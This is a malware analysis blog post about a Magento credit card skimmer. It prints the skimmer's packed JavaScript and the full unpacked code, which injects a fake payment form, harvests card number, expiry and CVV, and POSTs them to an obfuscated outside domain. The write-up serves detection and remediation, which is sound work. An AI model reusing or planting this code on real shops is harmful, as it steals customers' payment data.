During a website remediation, we recently discovered a new version of a Magento credit card stealer which sends all compromised data to the malicious domain cdn-filestore[dot]com. My colleague Luke Leal originally wrote about this malware in a blog post earlier this year.
Malware Evolution & Evasive Techniques
One primary difference between this new version and theone Luke wrote about in April is that it was not packed. This detail suggests that the attackers updated the malware in an attempt to obfuscate it and avoid detection. Based on this observation, we can assume that they will continue to change the malware and domains as an evasive maneuver.
The malicious contents had been packed using JavaScript in the following manner:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1c z="<k><l F=\\"h:H\\"><m>*</m>1b t y</l><c e=\\"g-E\\"><g K=\\"w\\" n=\\"h:H\\" d=\\"h[H]\\" Q=\\"1b t y\\" e=\\"g-w C-G-1k\\" a=\\"\\" s=\\"q\\"></c></k><k><l F=\\"1m:1n\\"><m>*</m>1p 1o</l><c e=\\"g-E\\"><c e=\\"v-D\\"><j n=\\"h:1i\\" d=\\"h[1i]\\" e=\\"1t C-G-1u\\" s=\\"q\\"><0 a=\\"\\" p=\\"p\\">1v</0><0 a=\\"1\\">1w</0><0 a=\\"2\\">1A</0><0 a=\\"3\\">1j</0><0 a=\\"4\\">1q</0><0 a=\\"5\\">1B</0><0 a=\\"6\\">1z</0><0 a=\\"7\\">1y</0><0 a=\\"8\\">1x</0><0 a=\\"9\\">1s</0><0 a=\\"10\\">10</0><0 a=\\"11\\">11</0><0 a=\\"12\\">12</0></j></c><c e=\\"v-D\\"><j n=\\"h:R\\" d=\\"h[R]\\" e=\\"1r\\" s=\\"q\\"><0 a=\\"\\" p=\\"p\\">1l</0><0 a=\\"U\\">U</0><0 a=\\"18\\">18</0><0 a=\\"16\\">16</0><0 a=\\"15\\">15</0><0 a=\\"14\\">14</0><0 a=\\"13\\">13</0><0 a=\\"Z\\">Z</0><0 a=\\"Y\\">Y</0><0 a=\\"T\\">T</0><0 a=\\"X\\">X</0><0 a=\\"W\\">W</0><0 a=\\"V\\">V</0></j></c></c></k><k><l F=\\"h:1a\\"><m>*</m>t O y</l><c e=\\"g-E\\"><c e=\\"v-D\\"><g K=\\"w\\" Q=\\"t O y\\" e=\\"g-w 1T C-G-1E\\" n=\\"1h\\" d=\\"h[1a]\\" a=\\"\\" s=\\"q\\"></c></c></k>";b(1N).1M(o(){b("#1L-1K-1J").19(1d);b("#1g").A(z);b("g").r("u");b("j").r("u")});b("A").19(o(){b("g").r("u");b("j").r("u");1f(!b(\'*\').1H(\'#1h\')){b("#1g").A(z)}});o 1d(){1c i={},I,L,17=N("1G/1F"),B=J(1D.B);b("g, j").1C(o(){I=(i[f.d]==""||i[f.d]=="x"||1e i[f.d]==="x")&&f.d!=""&&f.d!="x"&&1e f.d!=="x";1f(I){i[f.d]=f.a;1I S}i[f.n]=f.a});L=J(1O(1P(J(1Q.1R(i)))));b.1Y(17,o(P){b.1X({1Z:N(P),1U:{1V:S},K:"1S",M:"M="+L+"&1W="+B})})}',62,124,'option||||||||||value|jQuery|div|name|class|this|input|payment|arr|select|li|label|em|id|function|selected|off|removeAttr|autocomplete|Card|disabled||text|undefined|Number|form|html|host|validate|fix|box|for|cc|cc_number|bl|encodeURIComponent|type|string|data|atob|Verification|dat|title|cc_exp_year|true|2026|2018|2029|2028|2027|2025|2024||||2023|2022|2021|2020|domain|2019|click|cc_cid|Credit|var|onestepcheckout_payment|typeof|if|payment_form_payco|cc_cid_data|cc_exp_month|03|number|Year|billing|expiration_date|Date|Expiration|04|year|09|month|exp|Month|01|08|07|06|02|05|each|location|cvn|YWxs|Ly9jZG4tZmlsZXN0b3JlLmNvbS9jYWNoZS5waHA|is|return|order|place|onestepcheckout|ready|document|btoa|unescape|JSON|stringify|POST|cvv|xhrFields|withCredentials|target|ajax|get|url'.split('|'),0,{}));
By using a JavaScript packer, bad actors are able to better conceal the true workings of the script — but there are a couple of obvious red flags here. For example, labels like “onestepcheckout” and “cc_exp_month” are a good sign that this malicious code is harvesting sensitive information.
Information Theft & Exfiltration
Once we are done unpacking the code, the malicious behavior is revealed.
var form = "<li><label for=\"payment:cc_number\"><em>*</em>Credit Card Number</label><div class=\"input-box\"><input type=\"text\" id=\"payment:cc_number\" name=\"payment[cc_number]\" title=\"Credit Card Number\" class=\"input-text validate-cc-number\" value=\"\" autocomplete=\"off\"></div></li><li><label for=\"billing:expiration_date\"><em>*</em>Expiration Date</label><div class=\"input-box\"><div class=\"v-fix\"><select id=\"payment:cc_exp_month\" name=\"payment[cc_exp_month]\" class=\"month validate-cc-exp\" autocomplete=\"off\"><option value=\"\" selected=\"selected\">Month</option><option value=\"1\">01</option><option value=\"2\">02</option><option value=\"3\">03</option><option value=\"4\">04</option><option value=\"5\">05</option><option value=\"6\">06</option><option value=\"7\">07</option><option value=\"8\">08</option><option value=\"9\">09</option><option value=\"10\">10</option><option value=\"11\">11</option><option value=\"12\">12</option></select></div><div class=\"v-fix\"><select id=\"payment:cc_exp_year\" name=\"payment[cc_exp_year]\" class=\"year\" autocomplete=\"off\"><option value=\"\" selected=\"selected\">Year</option><option value=\"2018\">2018</option><option value=\"2019\">2019</option><option value=\"2020\">2020</option><option value=\"2021\">2021</option><option value=\"2022\">2022</option><option value=\"2023\">2023</option><option value=\"2024\">2024</option><option value=\"2025\">2025</option><option value=\"2026\">2026</option><option value=\"2027\">2027</option><option value=\"2028\">2028</option><option value=\"2029\">2029</option></select></div></div></li><li><label for=\"payment:cc_cid\"><em>*</em>Card Verification Number</label><div class=\"input-box\"><div class=\"v-fix\"><input type=\"text\" title=\"Card Verification Number\" class=\"input-text cvv validate-cc-cvn\" id=\"cc_cid_data\" name=\"payment[cc_cid]\" value=\"\" autocomplete=\"off\"></div></div></li>"; jQuery(document).ready(function () { jQuery("#onestepcheckout-place-order").click(onestepcheckout_payment); jQuery("#payment_form_payco").html(form); jQuery("input").removeAttr("disabled"); jQuery("select").removeAttr("disabled") }); jQuery("html").click(function () { jQuery("input").removeAttr("disabled"); jQuery("select").removeAttr("disabled"); if (!jQuery('*').is('#cc_cid_data')) { jQuery("#payment_form_payco").html(form) } }); function onestepcheckout_payment() { var arr = {}, bl, string, domain = atob("Ly9jZG4tZmlsZXN0b3JlLmNvbS9jYWNoZS5waHA/YWxs"), host = encodeURIComponent(location.host); jQuery("input, select").each(function () { bl = (arr[this.name] == "" || arr[this.name] == "undefined" || typeof arr[this.name] === "undefined") && this.name != "" && this.name != "undefined" && typeof this.name !== "undefined"; if (bl) { arr[this.name] = this.value; return true } arr[this.id] = this.value }); string = encodeURIComponent(btoa(unescape(encodeURIComponent(JSON.stringify(arr))))); jQuery.get(domain, function (dat) { jQuery.ajax({ url: atob(dat), xhrFields: { withCredentials: true }, type: "POST", data: "data=" + string + "&target=" + host }) }) }
This code sample includes a form with all the credit card information, but the most interesting snippet lies at the end, which contains the domain used for the exfiltration of the skimmed payment data.
function onestepcheckout_payment() { var arr = {}, bl, string, domain = atob("Ly9jZG4tZmlsZXN0b3JlLmNvbS9jYWNoZS5waHA/YWxs"), host = encodeURIComponent(location.host);
The base64 encoded string decodes to //cdn-filestore[dot]com/cache.php?all
Later on, the data is base64 encoded, converted to JSON format, after which jQuery is used to submit the collected data (exfiltration). The harvested information is then sent to cdn-filestore[dot]com via a POST request.
string = encodeURIComponent(btoa(unescape(encodeURIComponent(JSON.stringify(arr))))); jQuery.get(domain, function (dat) { jQuery.ajax({ url: atob(dat), xhrFields: { withCredentials: true }, type: "POST", data: "data=" + string + "&target=" + host }) })
Conclusion & Mitigation Steps
This malware was found injected into one of the .js files inside ./media/js/, and it’s not unusual to find other files injected with this code as well.
Credit card stealers are becoming an increasingly common threat. As consumers continue to rely heavily on online shopping, we only expect to see a rise in attacks targeting ecommerce sites.
You can mitigate risk by keeping your website’s software up to date, or by virtually patching known vulnerabilities with a website firewall.
In the event of an incident, integrity monitoring services and professional incident response are the best ways to detect and respond to a website compromise.